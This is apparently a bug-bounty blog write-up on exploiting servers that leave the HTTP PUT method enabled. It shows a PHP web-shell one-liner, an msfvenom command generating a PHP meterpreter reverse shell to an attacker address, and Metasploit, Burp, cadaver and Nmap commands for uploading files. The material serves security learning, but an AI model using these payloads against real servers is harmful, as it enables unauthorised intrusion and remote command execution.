# HTTP PUT Method Exploit

![](https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2Fusj6VZBLXJKZiQuMSapL%2FRed%20Grey%20Hacker%20Desktop%20Wallpaper.png?alt=media\&token=1ba3f1b6-51d2-4009-b45d-8f68b45a04f1)

Hello Hackers, Hope you are well !!

Today I'll talk about one of the most basic web attacks that recently faced me while doing bug hunting at private program which is exploiting enabled HTTP PUT Method.

## <mark style="color:green;">What is PUT?</mark>

The HTTP PUT method is normally used to upload data that is saved on the server at a user-supplied URL. If enabled, an attacker may be able to place arbitrary, and potentially malicious, content into the application. Depending on the server's configuration, this may lead to compromise of other users (by uploading client-executable scripts), compromise of the server (by uploading server-executable code), or other attacks.

### <mark style="color:green;">Syntax</mark>

```
PUT /new.html HTTP/1.1
```

### <mark style="color:green;">Example</mark>&#x20;

#### Request

```
PUT /new.html HTTP/1.1
Host: example.com
Content-type: text/html
Content-length: 16

<p>New File</p>
```

#### Responses

If the target resource does not have a current representation and the `PUT` request successfully creates one, then the origin server must inform the user agent by sending a [`201`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/201) (`Created`) response.

```
HTTP/1.1 201 Created
Content-Location: /new.html
```

If the target resource does have a current representation and that representation is successfully modified in accordance with the state of the enclosed representation, then the origin server must send either a [`200`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/200) (`OK`) or a [`204`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/204) (`No Content`) response to indicate successful completion of the request.

```
HTTP/1.1 204 No Content
Content-Location: /existing.html
```

### <mark style="color:green;">Real Life Scenario</mark>&#x20;

while doing some recon on private program after gathering subdomains i always convert live.txt to IPs to run some port scanning using simple go script [h2i ](https://github.com/cybercdh/h2i)

![](https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2FS0P9iipfb5guHQHQr9hF%2FScreenshot%202022-07-18%20014847.png?alt=media\&token=3c1b276f-0ab9-4914-b1cd-e1bf11fc0dde)

since this program have a small scope i got some few IPs, in this situation i prefer using Nmap on masscan.

after few minutes i got very interesting result  which was something like this.

![](https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2FBvEfvdcJ3ivFUQ7cvHps%2FScreenshot%202022-07-18%20011029.png?alt=media\&token=30f8d61c-2b2b-4980-abf6-0ca7333d3ee2)

without wasting any time i quickly opened metasploit to check if PUT method allowing uploading or creating any files in this subdomain.

### <mark style="color:green;">Exploit using Metasploit</mark>

create some test txt file to try uploading it to web server

![](https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2F5YKeRiVwlsR8tGWrdIG9%2Fimage.png?alt=media\&token=5005f3cc-136d-4569-95ef-1880a1804019)

by using **`auxiliary/scanner/http/http_put`** module on metasploit we can scan http put method&#x20;

![](https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2FRVBZKlNtAOzKj6bhjgU7%2FScreenshot%202022-07-18%20021908.png?alt=media\&token=6bc8564b-2a8d-4c00-84b9-9618c22b1961)

after visiting this path on vulnerable domain we can notice that the injection worked fine.

![](https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2Fs5LTuN8Y4Hek2VuLxUEH%2FScreenshot%202022-07-18%20022120.png?alt=media\&token=734561fb-f61e-4d28-8cc0-ddd07dabf6a8)

![](https://media.giphy.com/media/msKNSs8rmJ5m/giphy.gif)

### <mark style="color:green;">Exploit with Burpsuit</mark>

As we all knows [BurpSuite ](https://portswigger.net/burp)is one of the most popular proxy intercepting tool through which you can easily analyze all kind of GET and POST requests.

&#x20;*Burp or Burp Suite is a graphical tool for testing Web application security. The tool is written in Java and developed by PortSwigger Security. The important tools inside* [*BurpSuite* ](https://portswigger.net/burp)*are HTTP Proxy, Scanner, Intruder, Spider, Repeater, Decoder, Comparer, Extender and Sequencer.*

by intercepting GET request to <http://redact.redact.redact.target.com> and change it to PUT, we can create files & and add any content to it.

![](https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2FAdeKYFA4OKvbEq57ZCei%2FScreenshot%202022-07-18%20023907.png?alt=media\&token=cf7ecfdf-6274-4553-a65e-a52cb2ec2d6a)

send Get request to this newly created file <http://redact.redact.redact.target.com/strik3rpoc.php> we can see that it\`s also created successfully.

![](https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2FHSlWpM94SGxXGdHkdvMG%2FScreenshot%202022-07-18%20024542.png?alt=media\&token=d4295f8d-9b84-4346-afa7-03f46cfb661b)

⭐ <mark style="color:orange;">**Golden TIP:**</mark> "*always try to escalate*". with that being said, i tried to get Remote Code Execution by creating some malicious php code in this file.

```
<?php system($_GET['cmd']); ?>
```

![](https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2FFZHRiJqddEsAF1FfaxPd%2FScreenshot%202022-07-18%20025524.png?alt=media\&token=bd4e6496-f1fa-4a3c-849a-26e880e58782)

attempt to execute any command with injected parameter `cmd` but got nothing back.

![](https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2FNEl2tlLOmnr7RsGHZlQx%2FScreenshot%202022-07-18%20025856.png?alt=media\&token=cc9be578-cab2-42fe-bba4-ae65e8383371)

Tried many ways to get commands runs but no luck 😥 the file is always reflecting it\`s content without execute any command.&#x20;

### <mark style="color:green;">Exploit With Cadaver & Metasploit Framework</mark>

i\`ve tried to upload PHP malicious file which we’ll generate with the help of [msfvenom ](https://www.offensive-security.com/metasploit-unleashed/msfvenom/)command.

`msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.179.141 LPORT=4444 -f raw > shell.php`

![](https://2341258708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNXCJWNoU0PexwJ6yBpmG%2Fuploads%2Fa1PvXzknAeozHg32gokf%2FScreenshot%202022-07-18%20031436.png?alt=media\&token=b550a766-53ca-467f-b779-2e9db3395660)

Now run Cadaver tool which is already installed in every Kali Linux machine. Cadaver is a command line tool that support uploading and downloading of a files on webdav.

To run Cadaver, the command is:

`cadaver http://target.com/`

If all is good till now we can upload the **shell.php** file which you’ve created with msfvenom.

but i do not know why it did\`t work with me ¯\\\_(ツ)\_/¯

![](https://media.giphy.com/media/7SF5scGB2AFrgsXP63/giphy.gif)

Anyways when you face this situation you can upload shell via [metasploit like above step](#exploit-using-metasploit) or you can use Nmap script to upload it with this command:

`nmap -p 80 target.com –-script http-put –-script-args http-put.url='strik3r_nmap.php",http-put.file="/root/shell.php'`

> Thanks For Reading

<table><thead><tr><th align="center">    Follow Me</th><th data-hidden></th><th data-hidden></th></tr></thead><tbody><tr><td align="center"><a href="https://www.facebook.com/StrikerHacker33/"><mark style="color:blue;"><strong>Facebook</strong></mark></a></td><td></td><td></td></tr><tr><td align="center"><a href="https://www.linkedin.com/in/eslam-kamal/"><mark style="color:blue;"><strong>LinkedIn</strong></mark></a></td><td></td><td></td></tr><tr><td align="center"><a href="https://twitter.com/xxEslam_Kamalxx"><mark style="color:blue;"><strong>Twitter</strong></mark></a></td><td></td><td></td></tr></tbody></table>
